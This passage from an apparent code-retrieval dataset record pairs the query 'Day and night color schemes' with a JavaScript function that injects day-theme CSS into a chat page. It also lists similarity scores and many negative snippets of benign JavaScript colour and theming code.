(vm.buttons) {\n for (var i = 0 , length = vm.buttons.length; i < length ; i++) {\n constructIconObject(vm.buttons[i]);\n }\n }\n }", "setIcon (Icon) {\n _Icon = Icon\n }" ]
[ "0.6576685", "0.64871854", "0.64871854", "0.6405744", "0.6255097", "0.6245484", "0.62378067", "0.61977035", "0.61240804", "0.6120316", "0.6103335", "0.60991305", "0.60112417", "0.5993259", "0.5989955", "0.59879804", "0.59508306", "0.59481144", "0.5947615", "0.59468395", "0.59248364", "0.59210026", "0.59192085", "0.5918084", "0.58789986", "0.58395463", "0.58366334", "0.58354634", "0.5834885", "0.5821104", "0.581774", "0.58023536", "0.5787266", "0.57747334", "0.57713133", "0.5760352", "0.5757758", "0.5749076", "0.57380253", "0.5727021", "0.57256037", "0.5723407", "0.5723407", "0.5723407", "0.57155323", "0.57138515", "0.57098883", "0.57097954", "0.5705592", "0.57027143", "0.5700129", "0.56995845", "0.5697903", "0.56944424", "0.5686155", "0.56804633", "0.56758636", "0.56752574", "0.5669272", "0.5667932", "0.5664239", "0.56630456", "0.56432086", "0.5637873", "0.5636682", "0.56341255", "0.56332016", "0.562883", "0.5618974", "0.56173193", "0.5616058", "0.56148493", "0.5609599", "0.5608389", "0.5600507", "0.5597877", "0.559786", "0.55948526", "0.5588031", "0.5583655", "0.5582843", "0.5582719", "0.55811274", "0.55798936", "0.5572186", "0.5559044", "0.5556842", "0.5554943", "0.55545783", "0.5548623", "0.55447423", "0.5540394", "0.5536627", "0.55352247", "0.55338085", "0.55334955", "0.5527249", "0.5526439", "0.55249316", "0.5518996", "0.5518719" ]
0.0
-1
Day and night color schemes Written by Foodbandlt
function addDayStyle() { var styleElementDay = document.createElement('style'); styleElementDay.setAttribute("id", "day"); styleElementDay.innerHTML = 'body{background: ' + backgroundColorDay + ';}.username, .message, div.chattopic, .info .edits, .UserStatsMenu .info .since, #ChatHeader h1.private, .Write [name="message"]{color: ' + textColorDay + ';}.WikiaPage, .UserStatsMenu, .ChatHeader, .Write [name="message"]{background: ' + foregroundColorDay + ';}.Chat .you{background: ' + selfTextColorDay + ';}a{color: ' + linkColorDay + ';}.UserStatsMenu .info{background:' + userStatsColorDay + ';}'; $('head').append(styleElementDay); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function makeDay(){\n bgColor = '#87ceeb';\n grassColor= \"#7cfc00\";\n}", "function getColor(day, hour) {\n return day >= 2 ? '#f03b20' :\n (day >= 1 && day < 2) ? '#e6550d' :\n (day < 1 && hour >= 12) ? '#31a354' :\n '#2c7fb8';\n}", "function colorDay(date) {\n // Transform to right format\n let new_date = `${date.substring(8, 10)}${date.substring(4, 8)}${date.substring(0, 4)}`\n\n // Returning the prevoues block to original color\n if (previous_block){\n if (document.querySelector(`rect#__${previous_block}`)){\n var ele = document.querySelector(`rect#__${previous_block}`)\n let color = ele.attributes.class.value\n ele.style = `fill:${color};`\n\n }\n // If it had no color, make it white\n else{\n var ele2 = document.querySelector(`rect#_${previous_block}`)\n let color = ele2.attributes.class.value\n ele2.style = `fill:white;`\n\n }\n }\n // Make red\n if (document.querySelector(`rect#__${new_date}`)){\n var ele = document.querySelector(`rect#__${new_date}`)\n ele.style = \"fill:red;\"\n previous_block = new_date\n\n }\n else{\n var ele2 = document.querySelector(`rect#_${new_date}`)\n ele2.style = \"fill:red;\"\n previous_block = new_date\n }\n}", "function changeColor(state) {\n push();\n\n //If state < 0 nighttime\n if (state < 0) {\n\n //reDraw background for night, generate stars,\n //and set fill for moon\n background('#282828');\n generateNight(Math.random() * 50);\n fill('#928374');\n } else {\n \n //Day time background\n background('#7ec0ee');\n }\n\n //Master switch statement for moon / sun\n //Placement as well as color of sun\n // < 0 is a nighttime state\n switch(state) {\n case -1:\n ellipse(125, 100, 100); \n break;\n\n case -2:\n ellipse(375, 50, 100);\n break;\n\n case -3:\n ellipse(625, 50, 100);\n break;\n\n case -4:\n ellipse(875, 100, 100);\n break;\n\n //For daytime ellipses use ternery '?'\n //Operator to check rise then eval our x\n //Since cases of 0, 1, 2, 3 will be hit\n //Twice in a single day cycle\n case 0:\n fill('#d65d0e');\n ellipse(rise ? 50 : 850, 100, 100);\n break;\n\n case 1:\n fill('#fe8019');\n ellipse(rise ? 150 : 750, 75, 100);\n break;\n\n case 2:\n fill('#d79921');\n ellipse(rise ? 250 : 650, 50, 100);\n break;\n\n case 3:\n fill('#fabd2f');\n ellipse(rise ? 350 : 550, 25, 100);\n break;\n\n //Only Hit once, peak sun, no need to check rise\n case 4:\n fill(255, 255, 0);\n ellipse(450, 0, 100); \n break;\n }\n pop();\n}", "function makeNight(){\n bgColor = \"#191970\";\n grassColor= \"#006400\";\n}", "_set_day_colors() {\n document.getElementById('signup_heading').innerText = LANG.signup_heading;\n var back = document.getElementById('back_button');\n back.innerText = LANG.back_button;\n var refresh = document.getElementById('refresh_button');\n refresh.innerText = LANG.refresh_button;\n var next = document.getElementById('next_button');\n next.innerText = LANG.next_button;\n var d=this.start_date;\n for (var i=1; i<=7; i++) {\n if (d.toLocaleDateString() == this.today.toLocaleDateString()) { // today\n document.getElementById(\"day_\"+i).style.backgroundColor = 'aliceblue';\n document.getElementById(\"day_\"+i).style.color = 'black';\n } else {\n if (d.to_weekday() == LANG.saturday) {\n document.getElementById(\"day_\"+i).style.backgroundColor = 'rgb(99 99 99)';\n } else if (d.to_weekday() === LANG.sunday) {\n document.getElementById(\"day_\"+i).style.backgroundColor = '#828282';\n } else {\n document.getElementById(\"day_\"+i).style.backgroundColor = \"\";\n }\n document.getElementById(\"day_\"+i).style.color = \"\";\n }\n document.getElementById(\"day_\"+i).innerText = d.get_date_string();\n d = d.next_day();\n }\n }", "function colorCoding() {\n for (var i = 8; i < 18; i++){\n if (hour < i){\n $(\".\" + i).attr(\"style\", \"background-color: skyblue;\")\n }\n if (hour === i){\n $(\".\" + i).attr(\"style\", \"background-color: white;\")\n }\n if (hour > i){\n $(\".\" + i).attr(\"style\", \"background-color: pink;\")\n }\n\n }\n }", "function getColor() {\n var string = this._day.getColor();\n switch(this._day.getColor()) {\n case 'blue':\n string = 'BLEU';\n break;\n case 'white':\n string = 'BLANC';\n break;\n case 'red':\n string = 'ROUGE';\n break;\n }\n\n return string;\n }", "function wl_color(d) {\n\tvar encoding, color_angle;\n\n\tif (d[season+\"Win\"] > d[season+\"Loss\"]) {\n color_angle = 120; // Green\n\t\tencoding = d[season+\"Win\"]/d[season+\"Loss\"]*15;\n\t\tif (encoding > 100) encoding = 100;\n\t}\n\telse {\n color_angle = 0; // Red\n\t\tencoding = d[season+\"Loss\"]/d[season+\"Win\"]*15;\n\t\tif (encoding > 100) encoding = 100;\n\t}\n return hsv_to_hex(color_angle, encoding, 100);\n}", "function stationColor(type) {\n switch (type) {\n case 'Rain': return \"#1b9e77\";\n case 'Ground': return \"#d95f02\";\n case 'Stream/Lake': return \"#7570b3\";\n }\n}", "function getNight() {\n document.querySelector('body').style.backgroundColor= 'black';\n document.querySelector('body').style.color = 'orange';\n}", "function changeDayColor(dateString, color){\n var date = new Date(dateString);\n var dayNum = date.getDay();\n var inputDayNum = getDayFix(dayNum);\n //var th = weekTable.getElementsByTagName('th');\n\n for (var i = 0; i < weekTable.length; i++){\n var currentBlockNum = i;\n var currentBGColor = weekTable[i].getAttribute('class');\n // var currentStyle = getComputedStyle(weekTable[i], \"\");\n // var currentBGColor = currentStyle.getPropertyValue('background-color');\n //Option 1: currentBlock is the same as inputDayNum\n if (currentBlockNum === inputDayNum){\n //if the currentBlock is already colored, check to see if it is the same\n //color as the input color. if it isn't, then the currentBlock must be\n //colored green\n if (currentBGColor !== 'white' && currentBGColor !== color){\n weekTable[i].setAttribute('class', 'green');\n }\n //if the currentBlock is white, change color to input color. Otherwise\n //we know that the currentBlock is already the same as the input color,\n //and therefore should be left as is\n else if (currentBGColor === 'white'){\n console.log(white);\n console.log('currentBGColor ' + currentBGColor);\n console.log('Input color ' + color);\n weekTable[i].setAttribute('class', color);\n };\n }\n //Option 2: inputDayNum !== currentBlockNum\n else {\n console.log(\"The current block: \" + currentBlockNum + \" does not equal the input day number: \" + inputDayNum);\n //if the currentBlock's background color is green, we must change the color\n if (currentBGColor === 'green'){\n //if the input color was blue, we must change the color to red\n if (color === 'blue'){\n weekTable[i].setAttribute('class', 'red');\n }\n //if the input color was red, we must change the color to blue\n else if (color === red){\n weekTable[i].setAttribute('class', 'blue');\n }\n //if the currentBG color is the same as the input color, we must color\n //it white\n }\n else if (currentBGColor === color){\n weekTable[i].setAttribute('class', 'white');\n };\n };\n // if current bg color is white or the same as input color, color is same\n // if(i === day && currentBGColor === white || currentBGColor === color){\n // weekTable[i].style.backgroundColor = color;\n // }\n // if current bg color is not white and is not same as input color\n // then color green\n // else if(i === day && currentBGColor !== color && currentBGColor !== white){\n // weekTable[i].style.backgroundColor = 'green';\n // }\n // else if (currentBGColor === color && i !== day){\n // weekTable[i].style.backgroundColor = 'white';\n // }\n // if current bg color is green but day does no longer fall in that block,\n // then the color associated with the day that does no longer belong there\n // should be removed and the other color should remain\n // else if (currentBGColor === green && i !== day){\n // if(color === blue){\n // weekTable[i].style.backgroundColor = 'red';\n // }\n // else {\n // weekTable[i].style.backgroundColor = 'blue';\n // };\n // };\n };\n}", "function highlightday() {\r\n var day = new Date();\r\n var dayAsInt = day.getDay();\r\n var block1 = \"\";\r\n var block2 = \"\";\r\n var block3 = \"\";\r\n if (dayAsInt == 0) {\r\n block1 = document.getElementsByClassName(\"sun\")\r\n block2 = document.getElementsByClassName(\"weekend\");\r\n } else if (dayAsInt <= 3) {\r\n block1 = document.getElementsByClassName(\"mon-wed\");\r\n block2 = document.getElementsByClassName(\"mon-thurs\");\r\n block3 = document.getElementsByClassName(\"mon-fri\");\r\n } else if (dayAsInt <= 4) {\r\n block1 = document.getElementsByClassName(\"thurs\");\r\n block2 = document.getElementsByClassName(\"mon-thurs\");\r\n block3 = document.getElementsByClassName(\"mon-fri\");\r\n } else if (dayAsInt == 5) {\r\n block1 = document.getElementsByClassName(\"fri\");\r\n block2 = document.getElementsByClassName(\"mon-fri\");\r\n } else if (dayAsInt == 6) {\r\n block1 = document.getElementsByClassName(\"sat\");\r\n block2 = document.getElementsByClassName(\"weekend\");\r\n }\r\n\r\n for (var i = 0; i < block1.length; i++) {\r\n block1[i].style[\"color\"] = \"#2E8B57\";\r\n block1[i].style[\"font-weight\"] = \"bold\";\r\n }\r\n\r\n for (var i = 0; i < block2.length; i++) {\r\n block2[i].style[\"color\"] = \"#2E8B57\";\r\n block2[i].style[\"font-weight\"] = \"bold\";\r\n }\r\n\r\n for (var i = 0; i < block3.length; i++) {\r\n block3[i].style[\"color\"] = \"#2E8B57\";\r\n block3[i].style[\"font-weight\"] = \"bold\";\r\n }\r\n}", "function color_detection(d) {\n return d > 5 ? \"red\" :\n d > 4 ? \"#FF4500\":\n d > 3 ? \"#FF7F50\" :\n d > 2 ? \"#FFA500\" :\n d > 1 ? \"#FFD700\" :\n \"#ADFF2F\";\n }", "function color_detection(d) {\n return d > 5 ? \"red\" :\n d > 4 ? \"#FF4500\":\n d > 3 ? \"#FF7F50\" :\n d > 2 ? \"#FFA500\" :\n d > 1 ? \"#FFD700\" :\n \"#ADFF2F\";\n }", "function getColor(d) {\n switch (true) {\n case d > 5:\n return \"#F30\";\n case d > 4:\n return \"#F60\";\n case d > 3:\n return \"#F90\";\n case d> 2:\n return \"#FC0\";\n case d > 1:\n return \"#FF0\";\n default:\n return \"#9F3\";\n }\n }", "function color(d) {\n return '#2960b5'\n }", "function getFillColor(index, color) {\n var fillColor = color;\n\n if ((index === (DAYS_OF_WEEK - 2)) || (index === (DAYS_OF_WEEK - 1))) {\n fillColor = Utilities.shadeColor(color, -0.3);\n }\n\n return fillColor;\n }", "function getColor(d) {\n return d == '0-2.5 min' ? '#6fd500' :\n d == '2.5-5min' ? '#85dc01' :\n d == '5-7.5min' ? '#a2e501' :\n d == '7.5-10min' ? '#c1e802' :\n d == '10-15min' ? '#dbe803' :\n d == '15-20min' ? '#eae503' :\n d == '20-25min' ? '#ebd102' :\n d == '25-30min' ? '#eab102' :\n d == '30-40min' ? '#e48e01' :\n d == '40-50min' ? '#db6e01' :\n d == '50min-1h' ? '#d55600' :\n '#FFFFFF';\n}", "function toggleColors()\n{\n \n// var tweenValue = global.tweenManager.getGenericTweenValue( script.objectWithTweens, \"test\" );\n var tweenValue = global.tweenManager.getGenericTweenValue( script.objectWithTweens, \"generic_tween\" );\n var test = new vec3(tweenValue.x, tweenValue.y, tweenValue.z)\n if (script.lightSource != null) { \n script.lightSource.color = tweenValue; \n }\n \n if (tweenValue.x == nightColor.x || tweenValue.x == dayColor.x) {\n shouldSwitch = true\n } \n if (shouldSwitch) {\n if (isDay) {\n global.tweenManager.setStartValue(script.objectWithTweens, \"generic_tween\", nightColor)\n global.tweenManager.setEndValue(script.objectWithTweens, \"generic_tween\", dayColor)\n global.tweenManager.resetObject(script.objectWithTweens, \"generic_tween\")\n } else {\n global.tweenManager.setStartValue(script.objectWithTweens, \"generic_tween\", dayColor)\n global.tweenManager.setEndValue(script.objectWithTweens, \"generic_tween\", nightColor)\n global.tweenManager.resetObject(script.objectWithTweens, \"generic_tween\")\n }\n global.tweenManager.startTween( script.objectWithTweens, \"generic_tween\" );\n isDay = !isDay\n shouldSwitch = false\n } \n \n \n \n \n}", "function getColor(d) {\n\tvar value = d ;\n\tvar s = value * 100 / 4 + 75;\n\tvar v = (1.0 - value * 1.5) * 50 + 50;\n\treturn currentCategory == \"footfall\" ? \"hsl(0, \" + s + \"%, \" + v + \"%)\"\t: \n\t\t\tcurrentCategory == \"rainfall\" ? \"hsl(300, \" + s + \"%, \" + v + \"%)\" :\n\t\t\t\tcurrentCategory == \"stayduration\" ? \"hsl(285, \" + s + \"%, \" + v\t+ \"%)\" :\n\t\t\t\t\tcurrentCategory == \"freetaxi\" ? \"hsl(265, \" + s + \"%, \" + v + \"%)\" :\n\t\t\t\t\t\tcurrentCategory == \"subzoneingress\" ? \"hsl(195, \" + s + \"%, \" + v\t+ \"%)\" : \n\t\t\t\t\t\t\tcurrentCategory == \"subzoneegress\" ? \"hsl(165, \" + s + \"%, \" + v\t+ \"%)\":\n\t\t\t\t\t\t\t\tcurrentCategory == \"planningareaegress\" ? \"hsl(75, \" + s + \"%, \" + v\t+ \"%)\":\n\t\t\t\t\t\t\t\t\tcurrentCategory == \"odplanningarea\" ? \"hsl(60, \" + s + \"%, \" + v\t+ \"%)\":\n\t\t\t\t\t\t\t\t\t\tcurrentCategory == \"model1\" ? \"hsl(30, \" + s + \"%, \" + v\t+ \"%)\"://45\n\t\t\t\t\t\t\t\t\t\t\tcurrentCategory == \"model2\" ? \"hsl(30, \" + s + \"%, \" + v\t+ \"%)\":\n\t\t\t\t\t\t\t\t\t\t\t\tcurrentCategory == \"model3\" ? \"hsl(30, \" + s + \"%, \" + v\t+ \"%)\"://330\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"hsl(30, \" + s + \"%, \" + v + \"%)\";//175\n}", "function getColor(d) {\n\t\t\t\treturn d > 5515000 ? '#3B0B0B' :\n\t\t\t\t\t d > 5515000 ? '#3B0B0B' :\n\t\t\t\t\t d > 5515000 ? '#3B0B0B' :\n\t\t\t\t\t d > 5515000 ? '#3B0B0B' :\n\t\t\t\t\t d > 5515000 ? '#3B0B0B' :\n\t\t\t\t\t d > 5514999 ? '#2E64FE' :\n\t\t\t\t\t d > 5564048 ? '#3B0B0B' :\n\t\t\t\t\t\t\t\t '#3B0B0B';\n\t\t\t}", "function colorDemo() {\n\tif (systemState != \"demo\") {\n\t\t//no more\n\t\treturn;\n\t}\n\n\tfor (var id in hue) {\n\t\tvar payload = {\n\t\t\ton : true,\n\t\t\tbri: 255,\n\t\t\thue: hueValue,\n\t\t\tsat: 255\n\t\t};\n\t\t//console.log(JSON.stringify(payload))\n\t\tif (!put('/api/loganrooper/lights/'+hue[id]+'/state', payload)) {\n\t\t\t//errors\n\t\t\tconsole.log('connection to hue has errors');\n\t\t}\n\t}\n\thueValue += 3000*n;\n\tif (hueValue > 65535 || hueValue < 1) {\n\t\tn *= -1;\n\t}\n\n}", "function switchBG(val){\n\tswitch (val){\n\t\tcase '01d':\n\t\t\t//clear sky - day\n\t\t\tshowSun();\n\t\t\tbreak;\n\t\tcase '01n':\n\t\t\t//clear sky - night\n\t\t\tshowMoon();\n\t\t\tbreak;\n\t\tcase '02d':\n\t\t\t// few clouds - day\n\t\t\tshowSun();\n\t\t\tshowCloud();\n\t\t\tbreak;\n\t\tcase '02n':\n\t\t\t// few clouds - night\n\t\t\tshowMoon();\n\t\t\tshowCloud();\n\t\t\tbreak;\n\t\tcase '03d':\n\t\t\t// scattered clouds - day\n\t\t\tshowSun();\n\t\t\tshowCloud();\n\t\t\tbreak; \n\t\tcase '03n':\n\t\t\t // scattered clouds - night\n\t\t\tshowMoon();\n\t\t\tshowCloud();\n\t\t\tbreak; \n\t\tcase '04d':\n\t\t\t// broken clouds - day\n\t\t\tshowSun();\n\t\t\tshowCloud();\n\t\t\tbreak; \n\t\tcase '04n':\n\t\t\t// broken clouds - night\n\t\t\tshowMoon();\n\t\t\tshowCloud();\n\t\t\tbreak; \n\t\tcase '09d':\n\t\t\t// shower rain - day\n\t\t\tshowSun();\n\t\t\tshowRain();\n\t\t\tbreak; \n\t\tcase '09n':\n\t\t\t// shower rain - night\n\t\t\tshowMoon();\n\t\t\tshowRain();\n\t\t\tbreak; \n\t\tcase '10d':\n\t\t\t// rain - day\n\t\t\tshowSun();\n\t\t\tshowRain();\n\t\t\tbreak; \n\t\tcase '10n':\n\t\t\t// rain - night\n\t\t\tshowMoon();\n\t\t\tshowRain();\n\t\t\tbreak; \n\t\tcase '11d':\n\t\t\t// thunderstorm - day\n\t\t\tshowSun();\n\t\t\tshowLightning();\n\t\t\tbreak;\n\t\tcase '11n':\n\t\t\t// thunderstorm - night\n\t\t\tshowMoon();\n\t\t\tshowLightning();\n\t\t\tbreak;\n\t\tcase '13d':\n\t\t\tshowSun();\n\t\t\tshowSnow();\n\t\t\t// snow - day\n\t\t\tbreak;\n\t\tcase '13n':\n\t\t\t// snow - night\n\t\t\tshowMoon();\n\t\t\tshowSnow();\n\t\t\tbreak; \n\t\tcase '50d':\n\t\t\tshowSun();\n\t\t\tshowCloud();\n\t\t\t//mist - day\n\t\t\tbreak;\n\t\tcase '50n':\n\t\t\t//mist - night\n\t\t\tshowMoon();\n\t\t\tshowCloud();\n\t\t\tbreak; \n\t}\n}", "function draw() {\n // put drawing code here\n //you need a background here....\nnoStroke()\nbackground(0,0,102)\n\n// var nightColor2 = [0,0,102]\n// var nightcolor1 = [0,0,153]\n\n// var dayColor2 = [153,204,255]\n// var daycolor1 = [102,205,255]\n\n// from = color(nightColor2, nightcolor1)\n// to = color(dayColor2, daycolor1)\n// lerpColor(from, to)\n\n// want to try to change color background.... \n \n // Time \n fill('black')\n //the time\n textSize(32);\n var theTime = amPm(hour()) + \":\" + minute() + \":\" + niceSecond(second());\n text(theTime,100,height/20)\n\n//the moon\nif ( hour() < 13 ) { \n fill(255, 255, 102)\n } else { \n fill(255, 255, 204)\n } \n ellipse(50, height/20, 60,60)\n \n\nfill('yellow')\nfor(var i=0; i < second()+240; i++) { \n ellipse(secXpos[i] + second(), secYpos[i] + second(), 5,5)\n }\n\n\nfill('white')\n push();\n translate(p5.Vector.fromAngle(millis() / 1000, 10))\n for(var j=0; j < minute()+ 120; j++) { \n // push();\n // translate(width / 120, height / 100) \n // translate(p5.Vector.fromAngle(millis() / 1000, 10))\n ellipse(minXpos[j] + minute(), minYpos[j] + minute(), 9,9) \n }\npop();\n\nfill('orange')\n for(var k=0; k < hour()+ 60; k++) { \n ellipse(hourXpos[k], hourYpos[k], 10,10)\n }\nif (second()/5 == lineTime.length) {\n var ranX = Math.floor(random(60))\n lineTime.push(second())\n lineX.push(hourXpos[ranX])\n lineY.push(hourYpos[ranX])\n}\nstroke(255)\nif (lineX.length > 1) {\n for(var i = 1; i < lineX.length; i++) {\n line(lineX[i-1], lineY[i-1], lineX[i], lineY[i])\n }\n }\n if (second() == 59) {\n lineTime = [];\n lineX = [];\n lineY = [];\n }\n}", "function getColor31(d){\n return d> 3000 ? '#355C7D':\n d> 535 ? '#6C5B7B':\n d> 103 ? '#C06C84':\n d> 22 ? '#F67280':\n '#F8B195';\n\n}", "function bg_color(in_time, in_seed) {\n return ((64 * cos(PI*(in_time + in_seed))) + 64 + 127);\n}", "function getColor(d){\n if (d <= 1){return '#addd8e';}\n else if (d <= 2) {return '#fee391';}\n else if (d <= 3) {return '#feb24c';}\n else if (d <= 4) {return '#fd8d3c';}\n else if (d <= 5) {return '#f03b20';}\n else {return '#bd0026';}\n}", "function changeColorScheme() {\n\n}", "function getColor(d) {\r\n\t\t\treturn d > 611142 ? '#8A4E8A' :\r\n\t\t\t d > 509285 ? '#A05AA0' :\r\n\t\t\t d > 407428 ? '#B379B3' :\r\n\t\t\t d > 305571 ? '#C08FC0' :\r\n\t\t\t d > 203714 ? '#CCA5CC' :\r\n\t\t\t d > 101857 ? '#D8BBD8' :\r\n\t\t\t d > 0 ? '#F1E6F1' :\r\n\t\t\t '#FFFFFF';\r\n\t\t}", "function getColor(d) {\n \n if (d > 800000.00) {\n return 'seagreen';\n } else if ( d > 700000.00 ){\n return 'orange';\n } else if (d > 600000.00) {\n return 'red' ;\n } else if (d > 500000.00) {\n return 'brown' ;\n } else if (d > 400000.00) {\n return 'lavender'; \n } else if (d > 300000.00) {\n return 'yellow'; \n } else if (d > 150000.00) {\n return 'pink';\n } else if (d > 100000.00) {\n return 'aqua';\n } else if (d > 50000.00) {\n return 'coral';\n } else {\n return 'slategrey';\n } \n}", "function getColourCode(date) {\n var date = new Date(date);\n var now = new Date();\n var diff = now - date;\n var day = 24 * 60 * 60 * 1000;\n var startOfYesterday = now - (now % day) - day;\n\n if (date > startOfYesterday) {\n return '#00B16A';\n } else if (diff < 7 * day) {\n return '#F7CA18';\n } else if (diff < 14 * day) {\n return '#F9690E';\n } else {\n return '#F22613';\n }\n}", "function getColor(d) {\n return d == 1 ? '#fec44f' :\n d == 2 ? '#41ab5d' :\n d == 3 ? '#e7298a' :\n d == 4 ? '#636363' :\n '#F2F0F7' ;\n }", "function getColor(d) {\n return d >= 15 ? '#9932cc' :\n d >= 14 ? '#cb2e8f' :\n d >= 13 ? '#e03d6a' :\n d >= 12 ? '#ed5052' :\n d >= 11 ? '#f5653f' :\n d >= 10 ? '#fa7930' :\n d >= 9 ? '#fe8c22' :\n d >= 8 ? '#ffa015' :\n d >= 7 ? '#ffb307' :\n d >= 6 ? '#ffc500' :\n d >= 5 ? '#ffd700' :\n \"#90ee90\";\n }", "createColors(color, num) {\n //receive hex color from parent, return array of colors for gradient\n //num is # of generated color in return array\n let a = []\n let red = parseInt( color.substring(1, 3), 16)\n let green = parseInt(color.substring(3, 5), 16)\n let blue = parseInt(color.substring(5,7), 16)\n \n let k = 0.8 \n //from lighter colder to darker warmer\n // console.log(red, green, blue)\n for (i=0;i<num;i++) {\n let new_red = (Math.floor(red*k)).toString(16)\n let new_green = (Math.floor(green*k)).toString(16)\n let new_blue = (Math.floor(blue*k)).toString(16)\n let new_color = '#'+new_red+new_green+new_blue\n k += 0.1\n a.push(new_color)\n }\n return a\n\n }", "function getColor(d) {\n\treturn d === 'y' ? '#2c7bb6':\n\t\t\t\t d === 'n' ? '#d7191c'\n\t\t\t\t : '#fffff';\n}", "function changeBg(todaysWeather) {\n\tswitch (todaysWeather) {\n\t\tcase \"01d\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/sunnybg.jpg')\";\n\t\t\tbreak;\n\t\tcase \"02d\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/cloudy.jpg')\";\n\t\t\tbreak;\n\t\tcase \"03d\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/cloudy.jpg')\";\n\t\t\tbreak;\n\t\tcase \"04d\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/cloudy.jpg')\";\n\t\t\tbreak;\n\t\tcase \"10d\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/rainy.jpg')\";\n\t\t\tbreak;\n\t\tcase \"50d\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/rainy.jpg')\";\n\t\t\tbreak;\n\t\tcase \"13d\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/snow.jpg')\";\n\t\t\tbreak;\n\t\tcase \"09d\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/mist.jpg')\";\n\t\t\tbreak;\n\t\t\t// night\n\t\tcase \"01n\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/clearn.jpg')\";\n\t\t\tbreak;\n\t\tcase \"02n\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/cloudn.jpg')\";\n\t\t\tbreak;\n\t\tcase \"03n\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/cloudn.jpg')\";\n\t\t\tbreak;\n\t\tcase \"04n\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/cloudn.jpg')\";\n\t\t\tbreak;\n\t\tcase \"10n\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/rainyn.jpg')\";\n\t\t\tbreak;\n\t\tcase \"50n\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/rainyn.jpg')\";\n\t\t\tbreak;\n\t\tcase \"13n\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/snown.jpg')\";\n\t\t\tbreak;\n\t\tcase \"09n\":\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/mistn.jpg')\";\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tdocument.body.style.backgroundImage = \"url('./img/sunny')\";\n\t\t\tbreak;\n\t}\n}", "function getColor(d) {\n/*\t\t\treturn d > 600 ? '#d98472' :\n\t\t\t\t d > 304 ? '#e4b76e' :\n\t\t\t '#bcc64d';*/\n\t\t\treturn d > 600 ? '#ca6554' :\n\t\t\t\t d > 304 ? '#d6877a' :\n\t\t\t '#e7bab3';\n\t\t}", "function updateColors(){\n var current_weather = $('#current-weather').text().trim();\n current_weather = current_weather.toLowerCase();\n\n if(current_weather === 'partly-cloudy-day' ){\n var colors = new Array(\n [117, 174, 244],\n [21,114,148],\n [81, 112, 123],\n [186, 220, 220]\n );\n }\n else if(current_weather === 'partly-cloudy-night' || current_weather === 'clear-night' ){\n var colors = new Array(\n [31, 41, 64],\n [21, 42, 90],\n [2, 11, 32],\n [20, 27, 34]\n );\n }\n else if(current_weather === 'rain' ){\n var colors = new Array(\n [0, 105, 128],\n [77, 100, 118],\n [49, 152, 232],\n [5, 31, 36]\n );\n }\n else if(current_weather === 'snow' || current_weather === 'sleet' || current_weather === 'fog' || current_weather === 'cloudy'){\n var colors = new Array(\n [31, 41, 64],\n [21, 42, 90],\n [2, 11, 32],\n [20, 27, 34]\n );\n }\n else{\n var colors = new Array(\n [255,196,0],\n [169,135,34],\n [255,111,0],\n [224, 197, 48]\n );\n }\n\n return colors;\n}", "function get_color(i, v, n) {\n var color_list = [\n d3.rgb(0, 0, 0), //black\n d3.rgb(230, 159, 0), // orange\n d3.rgb(86, 180, 233), // sky blue\n d3.rgb(0, 158, 115), // bluish green\n d3.rgb(240, 228, 66), // yellow\n d3.rgb(0, 114, 178), // blue\n d3.rgb(213, 94, 0), // vermilion\n d3.rgb(204, 121, 167) // reddish purple\n ];\n if (v === (false || null)) {\n return '#eeeeee';\n }\n var c = color_list[(i + 8) % 8],\n m = 3,\n r = (255 - (255 - c.r) / m - c.r) * (n - v) / n + c.r,\n g = (255 - (255 - c.g) / m - c.g) * (n - v) / n + c.g,\n b = (255 - (255 - c.b) / m - c.b) * (n - v) / n + c.b\n ;\n return d3.rgb(r, g, b);\n }", "function getColor(d) {\n return d.length>1? \"#ffffff\" : \n d[0]==1 ? \"#FECE00\":\n d[0]==2 ? \"#0065AE\" :\n d[0]==\"3B\" ? \"#99D4DE\":\n d[0]==3 ? \"#9F971A\":\n d[0]==4 ?\"#BE418D\":\n d[0]==5 ? \"#F19043\":\n d[0]==6 ? \"#84C28E\":\n d[0]==7 ?\"#F2A4B7\":\n d[0]==\"7B\" ? \"#84C28E\":\n d[0]==8?\"#CDACCF\":\n d[0]==9? \"#D5C900\":\n d[0]==10?\"#E4B327\":\n d[0]==11?\"#8C5E24\" :\n d[0]==12?\"#007E49\":\n d[0]==13?\"#99D4DE\":\n d[0]==14?\"#622280\":\n '#FC4E2A';\n}", "function wallColorizer() {\n return 'rgb(150,150,150)';\n}", "function updateColors() {\n var today = new Date();\n var timeNow = today.getHours();\n //${i} for assigning to the style.css and added classes\n for (var i = 9; i < 18; i++) {\n //current time\n if ($(`#${i}`).data(\"time\") == timeNow) {\n $(`#text${i}`).addClass(\"present\");\n //future time\n } else if (timeNow < $(`#${i}`).data(\"time\")) {\n $(`#text${i}`).addClass(\"future\");\n }\n }\n }", "generateSaturatedColor(){\n\t\tlet hue = Math.floor(random(360));\n\t\tlet colorValue = this.hslToRgb(hue, 1.0, 0.5);\n\t\tconsole.log(colorValue);\n\t\tthis.set(colorValue[0], colorValue[1], colorValue[2]);\n\t}", "function getColor(d) {\n return d >= 15 ? '#9932cc' :\n d >= 14 ? '#cb2e8f' :\n d >= 13 ? '#e03d6a' :\n d >= 12 ? '#ed5052' :\n d >= 11 ? '#f5653f' :\n d >= 10 ? '#fa7930' :\n d >= 9 ? '#fe8c22' :\n d >= 8 ? '#ffa015' :\n d >= 7 ? '#ffb307' :\n d >= 6 ? '#ffc500' :\n d >= 5 ? '#ffd700' :\n \"#90ee90\";\n }", "function 